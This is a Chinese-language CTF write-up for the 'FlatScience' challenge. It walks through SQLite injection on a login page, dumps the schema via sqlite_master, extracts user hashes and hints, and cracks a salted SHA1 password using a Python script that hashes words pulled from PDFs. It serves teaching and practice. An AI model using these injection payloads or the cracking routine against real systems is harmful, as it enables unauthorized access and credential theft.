FlatScience
-
题目描述
啥描述也没有
-
解题过程
-
页面有好多链接,除了
论文pdf
之外,还有子目录下的index.html
,比如:
/1/index.html
,/1/3/index.html
-
扫了下,有
/admin.php
,/login.php
和robots.txt
(里面也是这俩页面) -
/login.php
页面,id加引号有报错,是SQLite3
用
' or 2=2 --
直接登录上了,进来是最开始的那个/index.html
登陆成功会跳转,没有回显,猜测可以进行布尔/延时盲注,以前好像没做过sqlite的注入题,好多关键字和函数都用不了,找的一些payload也用不了,丢给sqlmap跑了一下,可以延时盲注,但这个盲注太慢了(一直出错)
-
去看了
/admin.php
,大概是/login.php
的加强版,没法注入 -
到这块思路有点断,只能等比蜗牛还慢的sqlmap跑点东西出来
-
等结果的时候看了下源码,发现有测试参数
访问
?debug
,返回了源码(下面是php部分)<?php if(isset($_POST['usr']) && isset($_POST['pw'])){ $user = $_POST['usr']; $pass = $_POST['pw']; $db = new SQLite3('../fancy.db'); $res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'"); if($res){ $row = $res->fetchArray(); } else{ echo "<br>Some Error occourred!"; } if(isset($row['id'])){ setcookie('name',' '.$row['name'], time() + 60, '/'); header("Location: /"); die(); } } if(isset($_GET['debug'])) highlight_file('login.php'); ?>
因为
/admin.php
页面给了用户名是admin
,这里看看能不能注处对应的密码注意到:
user
参数对应输入框ID
name
参数会被写到cookie
里
所以可以
union select
用admin的密码代替name' union select id,password from Users where name='admin' --
拿到密码是
+3fab54a50e770d830c0416df817567662a9dc85c
, = =忘了还有sha1
刚好sqlmap也跑完了,发现只有一个
Users
表 -
猜测是要用admin账号在
/admin.php
登录,所以需要拿到密码有两个思路
-
一个是跑出密码
-
一个是覆盖之前的密码
INSERT INTO Users(id, name, password) VALUES(999, 'test', '7c4a8d09ca3762af61e59520943dc26494f8941b')
发现insert
不可用 -
用上边查密码的方法查了下admin的id=1,
update Users set password='7c4a8d09ca3762af61e59520943dc26494f8941b' where id=1
发现update
不可用
-
-
到这基本没思路了,跑密码也不能硬跑啊。。。
-
看wp
-
确实是队sqlite的了解太少了,这里用到了sqlite自带的结构表
sqlite_master
' union select name,sql from sqlite_master --+
得到
CREATE TABLE Users( id int primary key, name varchar(255), password varchar(255), hint varchar(255) )
-
把这几个字段都扒下来
' union select id,group_concat(xxx) from Users --+
name password hint admin 3fab54a50e770d830c0416df817567662a9dc85c my fav word in my fav paper?!, fritze 54eae8935c90f467427f05e4ece82cf569f89507 my love is … ? hans 34b0bb7c304949f9ff2fc101eef0f048be10d3bd the password is password -
看hint的意思,密码是paper里的一个单词
回过头去看这些paper的链接,没啥不同的,都下载下来吧
-
贴个处理pdf的代码,偷懒copy了一份,然后调好了bug(python3)
from pdfminer.pdfparser import PDFParser from pdfminer.pdfdocument import PDFDocument from pdfminer.pdfpage import PDFPage from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter from pdfminer.converter import PDFPageAggregator from pdfminer.layout import LTTextBoxHorizontal, LAParams import logging import hashlib import re import os def pdf_2_txt(start, end): pdf_filename = start txt_filename = end # 不显示warning logging.propagate = False logging.getLogger().setLevel(logging.ERROR) device = PDFPageAggregator(PDFResourceManager(), laparams=LAParams()) interpreter = PDFPageInterpreter(PDFResourceManager(), device) parser = PDFParser(open(pdf_filename, 'rb')) doc = PDFDocument(parser) parser.set_document(doc) # 检测文档是否提供txt转换,不提供就忽略 if not doc.is_extractable: pass else: with open(txt_filename, 'w+', encoding="utf-8") as fw: print("num page:{}".format(len(list(PDFPage.create_pages(doc))))) for page in PDFPage.create_pages(doc): interpreter.process_page(page) layout = device.get_result() for x in layout: if isinstance(x, LTTextBoxHorizontal): results = x.get_text() fw.write(results) def get_pwd(): for a in range(1, 31): f = open(filePath + '\txt\' + str(a) + ".txt", "r", encoding='UTF-8').read() wordlist = re.split(" | ", f) for s in wordlist: y = s + "Salz!" encode = hashlib.sha1(y.encode('utf-8')).hexdigest() if encode == "3fab54a50e770d830c0416df817567662a9dc85c": print("password is :" + s) break if __name__ == '__main__': filePath = '' # 绝对路径 lists = os.listdir(filePath) for i in range(1, 31): x = filePath + '\' + lists[i - 1] pdf_2_txt(x, filePath + '\txt\' + str(i) + '.txt') # 在目录下创建一个txt文件夹
-
-
-
参考
https://blog.csdn.net/qq_42967398/article/details/103480502